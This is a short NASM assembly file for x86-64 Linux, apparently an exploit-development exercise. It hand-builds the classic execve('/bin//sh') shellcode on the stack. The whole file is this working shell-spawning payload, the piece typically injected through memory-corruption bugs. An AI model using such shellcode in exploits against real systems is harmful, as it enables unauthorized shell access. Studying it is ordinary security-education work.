execve-stack.nasm

global _start

%ifndef _START
%define _START
_start:
%endif
    ; execve(const char *path, char *const argv[], char *const envp[])
    ; rdi, path = (char*) /bin//sh, 0x00 (double slash for padding)
    ; rsi, argv = (char**) (/bin//sh, 0x00)
    ; rdx, envp = &0x00

    xor eax, eax
    push rax
    push rsp
    pop rdx      ; *rdx = &0x00

    mov rsi, 0x68732f2f6e69622f  ; rax2 -S $(echo /bin//sh | rev)
    push rsi
    push rsp
    pop rdi      ; rdi = (char*) /bin//sh

    push rax
    push rdi
    push rsp
    pop rsi      ; rsi = (char**) (/bin//sh, 0x00)

    mov al, 59
    syscall